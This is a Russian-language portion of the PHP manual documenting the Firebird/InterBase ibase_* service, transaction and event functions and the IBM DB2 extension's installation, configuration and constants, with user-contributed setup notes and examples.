ibase_rollback_ret(resource $link_or_trans_identifier = null): bool

Откатывает транзакцию, не закрывая её.

Список параметров

link_or_trans_identifier

Если вызывается без аргумента, эта функция откатывает транзакцию по умолчанию для ссылки по умолчанию. Если аргумент является идентификатором соединения, транзакция по умолчанию для соответствующего соединения будет отменена. Если аргумент является идентификатором транзакции, соответствующая транзакция будет отменена. Контекст транзакции будет сохранён, поэтому выражения, выполняемые из этой транзакции, не будут признаны недействительными.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Откатывает транзакцию

  • « ibase_rollback_ret
  • ibase_server_info »
  • PHP Manual
  • Функции Firebird/InterBase
  • Откатывает транзакцию

ibase_rollback

(PHP 5, PHP 7 < 7.4.0)

ibase_rollback — Откатывает транзакцию

Описание

ibase_rollback(resource $link_or_trans_identifier = null): bool

Откатывает транзакцию.

Список параметров

link_or_trans_identifier

Если вызывается без аргумента, эта функция откатывает транзакцию по умолчанию для ссылки по умолчанию. Если аргумент является идентификатором соединения, транзакция по умолчанию для соответствующего соединения будет отменена. Если аргумент является идентификатором транзакции, соответствующая транзакция будет отменена.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Запрашивает информацию о сервере базы данных

  • « ibase_rollback
  • ibase_service_attach »
  • PHP Manual
  • Функции Firebird/InterBase
  • Запрашивает информацию о сервере базы данных

ibase_server_info

(PHP 5, PHP 7 < 7.4.0)

ibase_server_info — Запрашивает информацию о сервере базы данных

Описание

ibase_server_info(resource $service_handle, int $action): string

Список параметров

service_handle

Ранее созданное соединение с сервером базы данных.

action

Допустимая константа.

Возвращаемые значения

Возвращает смешанные типы в зависимости от контекста.

Примеры

Пример #1 Пример использования ibase_service_attach()

<?php
// Присоединение к удаленному серверу Firebird
if (($service = ibase_service_attach('10.1.1.254/3050', 'sysdba', 'masterkey')) != FALSE) {

// Присоединение прошло успешно.

// Вывод информации
echo "Версия сервера: " . ibase_server_info($service, IBASE_SVC_SERVER_VERSION) . "\n";
echo "Реализация сервера: " . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION) . "\n";
echo "Пользователи сервера: " . print_r(ibase_server_info($service, IBASE_SVC_GET_USERS), true) . "\n";
echo "Директория сервера: " . ibase_server_info($service, IBASE_SVC_GET_ENV) . "\n";
echo "Путь блокировки сервера: " . ibase_server_info($service, IBASE_SVC_GET_ENV_LOCK) . "\n";
echo "Путь к библиотекам сервера: " . ibase_server_info($service, IBASE_SVC_GET_ENV_MSG) . "\n";
echo "Путь пользователя базы данных: " . ibase_server_info($service, IBASE_SVC_USER_DBPATH) . "\n";
echo "Установленные соединения: " . print_r(ibase_server_info($service, IBASE_SVC_SVR_DB_INFO),true) . "\n";

// Отсоединение от сервера (отключение)
ibase_service_detach($service);

}
else {
// Вывод сообщения в случае возникновения ошибки
$conn_error = ibase_errmsg();
die($conn_error);
}
?>

Результат выполнения данного примера:

Версия сервера: LI-V3.0.4.33054 Firebird 3.0
Реализация сервера: Firebird/Linux/AMD/Intel/x64
Пользователи сервера: Array
(
    [0] => Array
        (
            [user_name] => SYSDBA
            [first_name] => Sql
            [middle_name] => Server
            [last_name] => Administrator
            [user_id] => 0
            [group_id] => 0
        )

)

Директория сервера: /etc/firebird/
Путь блокировки сервера: /tmp/firebird/
Путь к библиотекам сервера: /usr/lib64/firebird/lib/
Путь пользователя базы данных: /var/lib/firebird/secdb/security3.fdb
Установленные соединения: Array
(
    [attachments] => 3
    [databases] => 2
    [0] => /srv/firebird/poss.fdb
    [1] => /srv/firebird/employees.fdb
)

User Contributed Notes

kgbfernando 19-Jan-2009 03:49
A Little Example

<?php
    // get server version and implementation strings
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;
?>


Подключается к диспетчеру служб

  • « ibase_server_info
  • ibase_service_detach »
  • PHP Manual
  • Функции Firebird/InterBase
  • Подключается к диспетчеру служб

ibase_service_attach

(PHP 5, PHP 7 < 7.4.0)

ibase_service_attach — Подключается к диспетчеру служб

Описание

ibase_service_attach(string $host, string $dba_username, string $dba_password): resource|false

Список параметров

host

Имя или IP-адрес хоста базы данных. Вы можете указать порт, добавив '/' и номер порта. Если порт не указан, будет использоваться порт 3050.

dba_username

Имя любого действительного пользователя.

dba_password

Пароль пользователя.

Возвращаемые значения

Возвращает идентификатор ссылки Interbase / Firebird в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования ibase_service_attach()

<?php
// Присоединение к удаленному серверу Firebird по IP-адресу
if (($service = ibase_service_attach('10.1.1.199', 'sysdba', 'masterkey')) != FALSE) {

// Присоединение прошло успешно.
// Возврат версии сервера (что-то вроде 'LI-V3.0.4.33054 Firebird 3.0')
$server_version = ibase_server_info($service, IBASE_SVC_SERVER_VERSION);

// Возврат реализации сервера (что-то вроде 'Firebird/Linux/AMD/Intel/x64')
$server_implementation = ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);

// Отсоединение от сервера (отключение)
ibase_service_detach($service);

// Вывод информации
echo "Версия сервера: " . $server_version . "<br/>";
echo "Реализация сервера: " . $server_implementation;
}
else {
// Вывод сообщения в случае возникновения ошибки
$conn_error = ibase_errmsg();
die($conn_error);
}

?>

Пример #2 Пример использования ibase_service_attach() с синтаксисом hostname/port

<?php
// Присоединение к удаленному серверу Firebird по имени. Используется порт 3050.
if (($service = ibase_service_attach('FB-SRV-01.contoso.local/3050', 'sysdba', 'masterkey')) != FALSE) {

// Присоединение прошло успешно.
// Возврат версии сервера (что-то вроде 'LI-V3.0.4.33054 Firebird 3.0')
$server_version = ibase_server_info($service, IBASE_SVC_SERVER_VERSION);

// Возврат реализации сервера (что-то вроде 'Firebird/Linux/AMD/Intel/x64')
$server_implementation = ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);

// Отсоединение от сервера (отключение)
ibase_service_detach($service);

// Вывод информации
echo "Версия сервера: " . $server_version . "<br/>";
echo "Реализация сервера: " . $server_implementation;
}
else {
// Вывод сообщения в случае возникновения ошибки
$conn_error = ibase_errmsg();
die($conn_error);
}

?>

Смотрите также

  • ibase_service_detach() - Отключается от диспетчера служб

User Contributed Notes

Paul Vinkenoog 17-Apr-2008 05:46
The previous comment is incorrect. You can connect to the Service Manager as any valid user, and connecting to the Service Manager is not the same as connecting to the security database. However, some of the service functions (which you may subsequently call with the service handle returned by ibase_service_attach) are only available to SYSDBA.
houston_roadrunner at yahoo dot com 19-Apr-2006 09:47
When using this function it looks like you can only use SYSDBA as the user, as you are connecting to the security database. This is a restriction by the interbase/firebird server.
12-Apr-2006 01:58
An example of ibase_service_attach:
<?php
    //attach to the server running on localhost
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        //retrieve server info
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        //detach from server (disconnect)
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;
?>
Should echo something like:

 WI-T2.0.0.12484 Firebird 2.0 Release Candidate 1 / Firebird/x86/Windows NT

Taken/adapted from ibWebAdmin source code


Отключается от диспетчера служб

  • « ibase_service_attach
  • ibase_set_event_handler »
  • PHP Manual
  • Функции Firebird/InterBase
  • Отключается от диспетчера служб

ibase_service_detach

(PHP 5, PHP 7 < 7.4.0)

ibase_service_detach — Отключается от диспетчера служб

Описание

ibase_service_detach(resource $service_handle): bool

Список параметров

service_handle

Ранее созданное соединение с сервером базы данных.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования ibase_service_detach()

<?php
// Присоединение к удаленному серверу Firebird по IP-адресу
if (($service = ibase_service_attach('10.1.1.199', 'sysdba', 'masterkey')) != FALSE) {

// Присоединение прошло успешно.
// Возврат версии сервера (что-то вроде 'LI-V3.0.4.33054 Firebird 3.0')
$server_version = ibase_server_info($service, IBASE_SVC_SERVER_VERSION);

// Возврат реализации сервера (что-то вроде 'Firebird/Linux/AMD/Intel/x64')
$server_implementation = ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);

// Отсоединение от сервера (отключение)
if(ibase_service_detach($service) == FALSE) {
echo "Ошибка при отсоединении от службы.";
}
else {
echo "Отсоединение от службы прошло успешно.";
}

}
else {
// Вывод сообщения в случае возникновения ошибки
$conn_error = ibase_errmsg();
die($conn_error);
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Регистрирует callback-функцию, которая будет вызываться при публикации событий

  • « ibase_service_detach
  • ibase_trans »
  • PHP Manual
  • Функции Firebird/InterBase
  • Регистрирует callback-функцию, которая будет вызываться при публикации событий

ibase_set_event_handler

(PHP 5, PHP 7 < 7.4.0)

ibase_set_event_handler — Регистрирует callback-функцию, которая будет вызываться при публикации событий

Описание

ibase_set_event_handler(callable $event_handler, string $event_name, string ...$even_names): resource
ibase_set_event_handler(
resource $connection,
callable $event_handler,
string $event_name,
string ...$event_names
): resource

Функция регистрирует пользовательскую функцию PHP в качестве обработчика событий для указанных событий.

Список параметров

event_handler

Callback-функция вызывается с именем события и ресурсом ссылки в качестве аргументов всякий раз, когда одно из указанных событий публикуется базой данных.

Callback-функция должна возвращать false, если обработчик события должен быть отменён. Любое другое возвращаемое значение игнорируется. Функция принимает до 15 аргументов события.

event_name

Наименование события.

event_names

Разрешено максимум 15 событий.

Возвращаемые значения

Возвращаемое значение является ресурсом события. Этот ресурс можно использовать для освобождения обработчика событий с помощью ibase_free_event_handler().

Примеры

Пример #1 Пример использования ibase_set_event_handler()

<?php

function event_handler($event_name, $link)
{
if ($event_name == "NEW ORDER") {
// обрабатываем новый заказ
ibase_query($link, "UPDATE orders SET status='handled'");
} else if ($event_name == "DB_SHUTDOWN") {
// отменяем обработчик событий
return false;
}
}

ibase_set_event_handler($link, "event_handler", "NEW_ORDER", "DB_SHUTDOWN");
?>

Смотрите также

  • ibase_free_event_handler() - Отменяет зарегистрированный обработчик события
  • ibase_wait_event() - Ждём, пока событие будет опубликовано в базе данных

User Contributed Notes

There are no user contributed notes for this page.


Начинает транзакцию

  • « ibase_set_event_handler
  • ibase_wait_event »
  • PHP Manual
  • Функции Firebird/InterBase
  • Начинает транзакцию

ibase_trans

(PHP 5, PHP 7 < 7.4.0)

ibase_trans — Начинает транзакцию

Описание

ibase_trans(int $trans_args = ?, resource $link_identifier = ?): resource
ibase_trans(resource $link_identifier = ?, int $trans_args = ?): resource

Начинает транзакцию.

Замечание:

Первый вызов ibase_trans() не вернёт транзакцию соединения по умолчанию. Все транзакции, запущенные с помощью ibase_trans(), будут отменены в конце скрипта, если они не были зафиксированы, или будут отменены с помощью ibase_commit() или ibase_rollback().

Замечание:

Эта функция принимает несколько аргументов trans_args и link_identifier. Это позволяет выполнять транзакции через несколько соединений с базой данных, которые фиксируются с использованием алгоритма двухэтапной фиксации. Это означает, что вы можете рассчитывать на то, что обновления будут успешными в каждой базе данных или завершатся ошибкой в каждой базе данных. Это НЕ означает, что вы можете использовать таблицы из разных баз данных в одном запросе!

Если вы используете транзакции в нескольких базах данных, вам нужно будет указать как link_id, так и transaction_id в вызовах ibase_query() и ibase_prepare().

Список параметров

trans_args

trans_args может быть комбинацией IBASE_READ, IBASE_WRITE, IBASE_COMMITTED, IBASE_CONSISTENCY, IBASE_CONCURRENCY, IBASE_REC_VERSION, IBASE_REC_NO_VERSION, IBASE_WAIT и IBASE_NOWAIT.

link_identifier

Идентификатор ссылки InterBase. Если не указан, предполагается последняя открытая ссылка.

Возвращаемые значения

Возвращает дескриптор транзакции или false в случае возникновения ошибки.

User Contributed Notes

marti at delfos dot net 06-Jun-2018 10:18
Prevent lock conflicts example:

$db = ibase_connect( ... );
$tr = ibase_trans(IBASE_COMMITTED + IBASE_NOWAIT, $db);
$result = ibase_query($tr, $sql);
ibase_commit($tr);
ibase_close($dh);
chAlx 16-Dec-2011 01:42
Note that on some platforms ibase_trans($dbh), ibase_trans(IBASE_DEFAULT, $dbh) and ibase_trans($dbh, IBASE_DEFAULT) are not the same, but will run without errors in most cases.
jon at tgpsolutions dot com 11-Jul-2002 06:56
When using transactions, you must execute queries using the transaction identifier as the link_identifier in ibase_query.

Example:

$db = ibase_connect( ... );
$tr = ibase_trans();
$result = ibase_query($tr, $sql1);
$result = ibase_query($tr, $sql2);
ibase_rollback($tr);

You must use ibase_query($tr, $sql1).  Calling ibase_query($db, $sql1) will not allow you to roll back - it will be commited when the script finishes executing.


Ждём, пока событие будет опубликовано в базе данных

  • « ibase_trans
  • IBM DB2 »
  • PHP Manual
  • Функции Firebird/InterBase
  • Ждём, пока событие будет опубликовано в базе данных

ibase_wait_event

(PHP 5, PHP 7 < 7.4.0)

ibase_wait_event — Ждём, пока событие будет опубликовано в базе данных

Описание

ibase_wait_event(string $event_name, string ...$event_names): string
ibase_wait_event(resource $connection, string $event_name, string ...$event_names): string

Функция приостанавливает выполнение сценария до тех пор, пока одно из указанных событий не будет опубликовано в базе данных. Имя события, которое было опубликовано, возвращается. Функция принимает до 15 аргументов события.

Список параметров

event_name

Название события.

event_names

Возвращаемые значения

Возвращает название события, которое было опубликовано.

Смотрите также

  • ibase_set_event_handler() - Регистрирует callback-функцию, которая будет вызываться при публикации событий
  • ibase_free_event_handler() - Отменяет зарегистрированный обработчик события

User Contributed Notes

There are no user contributed notes for this page.


IBM DB2, Cloudscape и Apache Derby

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции IBM DB2
    • db2_autocommit — Возвращает или устанавливает режим автоподтверждения транзакций для соединения
    • db2_bind_param — Связывает переменную PHP с параметром SQL-выражения
    • db2_client_info — Возвращает объект со свойствами, описывающими клиента DB2
    • db2_close — Закрывает соединение с базой данных
    • db2_column_privileges — Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы
    • db2_columns — Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы
    • db2_commit — Подтверждает транзакцию
    • db2_conn_error — Возвращает строку, содержащую значение SQLSTATE, возвращённое последней попыткой подключения
    • db2_conn_errormsg — Возвращает последнее сообщение об ошибке подключения и значение SQLCODE
    • db2_connect — Возвращает соединение с базой данных
    • db2_cursor_type — Возвращает тип курсора, который используется в ресурсе оператора
    • db2_escape_string — Используется для экранирования некоторых символов
    • db2_exec — Выполняет SQL-запрос напрямую
    • db2_execute — Выполняет подготовленный SQL-запрос
    • db2_fetch_array — Возвращает массив, индексированный по положению столбца, представляющий строку в наборе результатов
    • db2_fetch_assoc — Возвращает массив, индексированный по имени столбца, представляющий строку в наборе результатов
    • db2_fetch_both — Возвращает массив, индексированный как по имени столбца, так и по позиции, представляющий строку в наборе результатов
    • db2_fetch_object — Возвращает объект со свойствами, представляющими столбцы в выбранной строке
    • db2_fetch_row — Устанавливает указатель набора результатов на следующую строку или запрошенную строку
    • db2_field_display_size — Возвращает максимальное количество байтов, необходимое для отображения столбца
    • db2_field_name — Возвращает имя столбца в наборе результатов
    • db2_field_num — Возвращает позицию указанного столбца в наборе результатов
    • db2_field_precision — Возвращает точность указанного столбца в наборе результатов
    • db2_field_scale — Возвращает масштаб указанного столбца в наборе результатов
    • db2_field_type — Возвращает тип данных указанного столбца в наборе результатов
    • db2_field_width — Возвращает ширину текущего значения указанного столбца в наборе результатов
    • db2_foreign_keys — Возвращает набор результатов, в котором перечислены внешние ключи таблицы
    • db2_free_result — Освобождает ресурсы, связанные с набором результатов
    • db2_free_stmt — Освобождает ресурсы, связанные с указанным ресурсом выражения
    • db2_get_option — Извлекает значение параметра для ресурса оператора или ресурса соединения
    • db2_last_insert_id — Возвращает автоматически сгенерированный идентификатор последнего запроса на добавление, успешно выполненного в этом соединении
    • db2_lob_read — Получает определённый пользователем размер LOB-файлов при каждом вызове
    • db2_next_result — Запрашивает следующий набор результатов из хранимой процедуры
    • db2_num_fields — Возвращает количество полей в результирующем наборе
    • db2_num_rows — Возвращает количество строк, затронутых SQL-запросом
    • db2_pclose — Закрывает постоянное соединение с базой данных
    • db2_pconnect — Возвращает постоянное соединение с базой данных
    • db2_prepare — Подготавливает SQL-запрос к выполнению
    • db2_primary_keys — Возвращает набор результатов, содержащий первичные ключи таблицы
    • db2_procedure_columns — Возвращает набор результатов со списком параметров хранимой процедуры
    • db2_procedures — Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных
    • db2_result — Возвращает один столбец из строки в наборе результатов
    • db2_rollback — Откатывает транзакцию
    • db2_server_info — Возвращает объект со свойствами, описывающими сервер базы данных DB2
    • db2_set_option — Установка опции для соединения или ресурса оператора
    • db2_special_columns — Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы
    • db2_statistics — Возвращает набор результатов, содержащий индекс и статистику таблицы
    • db2_stmt_error — Возвращает строку, содержащую SQLSTATE, возвращённую SQL-оператором
    • db2_stmt_errormsg — Возвращает строку, содержащую последнее сообщение об ошибке SQL-выражения
    • db2_table_privileges — Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных
    • db2_tables — Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

User Contributed Notes

There are no user contributed notes for this page.


Введение

Эти функции позволят вам получить доступ к базам данных IBM DB2 Universal Database, IBM Cloudscape и Apache Derby, используя DB2 Call Level Interface (DB2 CLI).

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения
  • Типы ресурсов

User Contributed Notes

Morten Bjoernsvik 07-May-2008 12:07
On linux I've found that I explicitly have to add the -c <path to php.ini> with the shell and
PHPIniDir="/etc/php.ini" in php5.conf or httpd.conf otherwise the ibm_db2.so is not loaded.

It doesn't help setting the --sysconfdir=/etc for configure when compiling.

% php -m | grep db2
% php -c /etc -m | grep db2
ibm_db2
juraj dot hrapko at gmail dot com 27-Apr-2008 11:36
After  installation of ibm_db2 on Linux, you have to add into php.ini:
extension=/path_to_file/ibm_db2.so
ibm_db2.instance_name=instance

Dont forget the path to ibm_db2.so. As for me it does not work without the path.


Требования

Для соединения с IBM DB2 Universal Database под Linux, UNIX и Windows, IBM Cloudscape или Apache Derby, вы должны установить клиента IBM DB2 Universal Database на той же машине, где будет работать PHP. Модуль разрабатывался и тестировался с DB2 версии 8.2.

Для соединения с IBM DB2 Universal Database под z/OS или iSeries, вам нужен IBM DB2 Connect или эквивалентное ПО, способное быть шлюзом DRDA.

Требования под Linux или Unix

Для доступа к функциям модуля из PHP, вам необходимо сначала задать экземпляр DB2 с которым вы будете работать. Его можно задать в php.ini с помощью опции ibm_db2.instance_name или вы можете создать профиль экземпляра DB2.

Если вы, к примеру, создадите экземпляр DB2 с именем db2inst1 в /home/db2inst1/, вы можете добавить следующую запись в php.ini:

ibm_db2.instance_name=db2inst1
Если вы не задали имя экземпляра php.ini, вы должны выполнить следующую команду, изменяющую переменные окружения, для доступа к DB2:
bash$ source /home/db2inst1/sqllib/db2profile
Для разрешения доступа вашему веб-серверу к функциям модуля, вы должны либо задать опцию ibm_db2.instance_name в php.ini, либо обеспечить выставление соответствующих переменных окружения DB2 в вашем скрипте запуска веб-сервера (обычно это /etc/init.d/httpd или /etc/init.d/apache).

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для сборки модуля ibm_db2, сначала необходимо установить разработческие библиотеки и заголовочные файлы DB2. DB2 не устанавливает их по умолчанию, так что вам придётся запустить пакет установки DB2 и добавить эти опции. Заголовочные файлы включены в DB2 Application Development Client, доступный для свободного скачивания с » сайта поддержки IBM DB2 Universal Database.

Если вы добавили необходимые библиотеки и заголовочные файлы на Linux или Unix системе, где уже была установлена база DB2, вам нужно будет запустить команду db2iupdt -e для обновления символических ссылок на них в вашем экземпляре DB2.

ibm_db2 является модулем » PECL, так что действуйте в соответствии с инструкциями Установка модулей PECL для его установки. Используйте команду configure для задания расположения библиотек и заголовочных файлов DB2, таким образом:

bash$ ./configure --with-IBM_DB2=/path/to/DB2
По умолчанию, configure использует путь /opt/IBM/db2/V8.1.

Замечание: Замечание для пользователей IIS

Если вы используете драйвер ibm_db2 с Microsoft Internet Information Server (IIS), вы должны сделать следующее:

  • Установите DB2 с расширенной безопасностью операционной системы.
  • Добавьте путь к исполняемому файлу PHP в системную переменную окружения PATH (по умолчанию C:\php\).
  • Создайте ещё одну системную переменную окружения, содержащую путь к PHP.INI (например: PHPRC = C:\php\).
  • Добавьте IUSR_COMPUTERNAME в группу DB2USERS.

User Contributed Notes

jean dot ferreira at gmail dot com 27-Sep-2013 08:16
==Installation ibm_db2 in PHP5, using Data Server Driver Package and pecl on Debian / Ubuntu==

==Advantages==
#You do not need DB2 (database) installed
#The ibm_db2 driver is downloaded and automatically compiled by pecl

==Steps==
#1- Install packages
apt-get install php-pear ksh zip

#2- Make directory
mkdir /opt/ibm

#3- Download Data Server Driver Package (dsdriver), as the architecture
(https://www-304.ibm.com/support/docview.wss?rs=4020&uid=swg27016878&wv=1)

#4- Decompress dsdriver at /opt/ibm/
tar -xvf v10.5fp1_linuxx64_dsdriver.tar.gz  (linux64)
or
tar -xvf v10.5fp1_linuxia32_dsdriver.tar.gz (linux32)

#5- Change permission instalation script  -  /opt/ibm/dsddriver
chmod 755 installDSDriver

#6- Run the installation script
ksh installDSDriver

#7- Download and install the driver using the pecl
pecl install ibm_db2

downloading ibm_db2-1.9.5.tgz ...
Starting to download ibm_db2-1.9.5.tgz (157,720 bytes)
................done: 157,720 bytes
5 source files, building
running: phpize
Configuring for:
PHP Api Version:         20090626
Zend Module Api No:      20090626
Zend Extension Api No:   220090626

#8- Configure the installation directory
DB2 Installation Directory? : /opt/ibm/dsdriver

Build process completed successfully
Installing '/usr/lib/php5/20090626/ibm_db2.so'
install ok: channel://pecl.php.net/ibm_db2-1.9.5
configuration option "php_ini" is not set to php.ini location
You should add "extension=ibm_db2.so" to php.ini

#9- Change php.ini
vim /etc/php5/apache2/php.ini
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
extension = ibm_db2.so
extension = /usr/lib/php5/20090626/ibm_db2.so

#10- Reboot the Apache
service apache2 restart
rifat dot aras at gmail dot com 29-Apr-2012 05:02
If you try to use the php_ibm_db2.dll that comes with the database while working with a WAMP server, you may have difficulties loading the ibm_db2 extension. You can understand this by checking the Apache error log.

This can be solved by downloading the correct dll by visiting http://sourceforge.net/projects/db2mc/files/ and then clicking "IBM_DB2 PHP Driver for Windows > PHP 5.(2|3)._ > VC(6|9) > php_ibm_db2-ver-(nts_ts)-vc(6|9)-x86.zip"

The correct dll version can be determined by checking the "Compiler" and "Thread Safety" fields on the php_info page.

Copy the dll to the extension directory, update the php.ini file, and restart the Apache service.
angoca at yahoo dot com 25-Nov-2011 08:29
In DB2 v9 the clients have changed their names. Now, they are called

Data server client

If you search in Internet "DB2 fixpack" you will get an IBM address like

http://www-01.ibm.com/support/docview.wss?uid=swg24031181

You select the DB2 version and fixpack level, then the platform and finally the product, that in this case is "Data Server client"
kpfitzgerald at gmail dot com 01-Apr-2011 10:14
Actually a much simpler way on SLES 11 SP1 and DB2 Express C  is to execute the following.

pecl install ibm_db2

when it asks for your path put in your location of SQLLIB not your db2 install. usually found here...

/home/db2inst1/sqllib

to verify execute
pecl list

Should show the following:

Installed packages, channel pecl.php.net:
=========================================
Package Version State
ibm_db2 1.9.1   stable
AngocA 27-Mar-2009 03:12
I installed this tool foolwing the next steps:

(Prereq: I've installed DB2 express-c before, and also Apache and php)

- Download the file: ibm_db2-1.8.2.tgz
- Untar the file: tar -xvf ibm_db2-1.8.2.tgz
- Go to the main directory
- Execute 'phpize' and that creates several files.
- Execute './configure --with-IBM_DB2=/opt/ibmn/db2/V9.5_01'
- Execute 'make'
- Execute 'make install'
- Modify the php.ini file in order to activate the ibm_db2.so extension.
    extension=ibm_db2.so

To check that the library is included: php -i

Then, you have to restart Apache: httpd -k restart


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

ibm_db2 Опции настройки
Имя | По умолчанию | Место изменения | Лог изменений
ibm_db2.binmode | "1" | PHP_INI_ALL |
ibm_db2.i5_all_pconnect | "0" | PHP_INI_SYSTEM | Доступно с ibm_db2 1.6.5.
ibm_db2.i5_allow_commit | "0" | PHP_INI_SYSTEM | Доступно с ibm_db2 1.4.9.
ibm_db2.i5_dbcs_alloc | "0" | PHP_INI_SYSTEM | Доступно с ibm_db2 1.5.0.
ibm_db2.instance_name | NULL | PHP_INI_SYSTEM | Доступно с ibm_db2 1.0.2.
ibm_db2.i5_ignore_userid | "0" | PHP_INI_SYSTEM | Доступно с ibm_db2 1.8.0.

Краткое разъяснение конфигурационных директив.

ibm_db2.binmode int

Эта опция контролирует режим конвертации из/в бинарные данные в приложении PHP.

  • 1 (DB2_BINARY)

  • 2 (DB2_CONVERT)

  • 3 (DB2_PASSTHRU)

ibm_db2.i5_all_pconnect int

Эта опция полностью переопределяет поведение i5 db2_connect(). Если ibm_db2.i5_all_pconnect = 1, все соединения с DB2 будут постоянными (db2_pconnect()). На i5/OS использовать db2_pconnect() гораздо, категорически, лучше чем db2_connect(). Эта установка переопределяет db2_connect() таким образом, что всегда вызывается db2_pconnect(), что позволяет не переписывать код приложения.

  • 0 - db2_connect() работает штатно

  • 1 - db2_connect() работает как db2_pconnect()

ibm_db2.i5_allow_commit int

Эта опция контролирует уровень изоляции, используемый для i5 схемы коллекций в приложении PHP (смотри i5_commit для переопределения).

  • 0 - контроль обязательств не используется.

  • 1 - read uncommitted, возможно грязное чтение.

  • 2 - read committed, грязное чтение не возможно.

  • 3 - repeatable read, грязное и неповторяющееся чтение не возможны.

  • 4 - serializeable, грязное чтение, неповторяющееся чтение и фантомы не возможны.

ibm_db2.i5_dbcs_alloc int

Эта опция контролирует внутреннюю схему расположения для больших буферов колонок DBCS.

  • 0 - нет расширенного размещения (смотри i5_dbcs_alloc для переопределения)

  • 1 - использовать расширенное размещение (смотри i5_dbcs_alloc для переопределения)

ibm_db2.instance_name string

В операционных системах Linux и UNIX, эта опция задаёт имя экземпляра для использования каталогизированных соединений с базой данных. Если эта опция определена, её значение используется вместо значения переменной окружения DB2INSTANCE.

Эта опция игнорируется в Windows .

ibm_db2.i5_ignore_userid int

Эта опция переопределяет userid и password для i5 db2_(p)connect в приложении PHP. Если ibm_db2.i5_ignore_userid = 1, все соединения будут происходить с userid=null и password=null. Следовательно задания Apache будут соединяться с текущим профайлом (NOBODY). Используйте это переопределение только для простых сайтов, не требующих переключения профайлов и, следовательно, сможете избежать всех накладных расходов связанных с дополнительными задачами QSQSRVR. Это простое решение для обнуления userid и password без внесения изменений в код PHP. Это переопределение можно использовать вместе с ibm_db2.i5_all_pconnect = 1.

  • 0 - db2_(p)connect использует переданные userid и password

  • 1 - db2_(p)connect считает userid и password за null

User Contributed Notes

Satoru Yoshida 26-Dec-2012 01:42
The explanation of ibm_db2.i5_allow_commit seems to be slightly difficult to understand for me.

I think it would be better to replace "no commit" with "can not use commitment control" or "do not allow transaction", and "allow commit" would be changed into
"can use commitment control" or "allow transaction" , Thanks.
yoshida at zend dot co dot jp 22-Feb-2011 07:00
The explanation of ibm_db2.i5_dbcs_alloc seems to be hard to understand for me.

In ibm_db2 extension inside, 6 times length of string column is allocated if i5_dbcs_alloc value is 1.
The allocated area is used for conversion between UTF-8 and EBCDIC character encodings.

By the definition of UTF-8, letter length can need 6 bytes at the maximum.

Note:
In the case of a long column, allocated size may be beyond the upper limit defined in DB2 because original column is made by 6 times.  It can cause result data becomes null.


Типы ресурсов

Модуль ibm_db2 возвращает три типа ресурсов: ресурс соединения, ресурс оператора и ресурс результирующего набора.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

DB2_BINARY (int)
Указывает, что бинарные данные должны быть возвращены как есть. Этот режим используется по умолчанию.
DB2_CONVERT (int)
Указывает, что бинарные данные должны конвертироваться в шестнадцатеричный формат и возвращаться как строка ASCII.
DB2_PASSTHRU (int)
Указывает, что бинарные данные должны быть конвертированы в null.
DB2_SCROLLABLE (int)
Курсор "scrollable" - перематываемый. Этот режим разрешает случайный доступ к строкам в результирующем наборе, но в данный момент поддерживается только для IBM DB2 Universal Database.
DB2_FORWARD_ONLY (int)
Курсор "forward-only" - только вперёд. Используется по умолчанию и поддерживается всеми серверами баз данных.
DB2_PARAM_IN (int)
Указанная переменная PHP должна быть привязана как параметр IN для хранимой процедуры.
DB2_PARAM_OUT (int)
Указанная переменная PHP должна быть привязана как параметр OUT для хранимой процедуры.
DB2_PARAM_INOUT (int)
Указанная переменная PHP должна быть привязана как параметр INOUT для хранимой процедуры.
DB2_PARAM_FILE (int)
Указывает, что столбец должен быть привязан непосредственно к файлу для ввода.
DB2_AUTOCOMMIT_ON (int)
Указывает, что необходимо включить режим автоподтверждения транзакции.
DB2_AUTOCOMMIT_OFF (int)
Указывает, что необходимо отключить режим автоподтверждения транзакции.
DB2_DOUBLE (int)
Указывает, что переменная должна быть связана как тип данных DOUBLE, FLOAT или REAL.
DB2_LONG (int)
Указывает, что переменная должна быть связана как тип данных SMALLINT, INTEGER или BIGINT.
DB2_CHAR (int)
Указывает, что переменная должна быть связана как тип данных CHAR или VARCHAR.
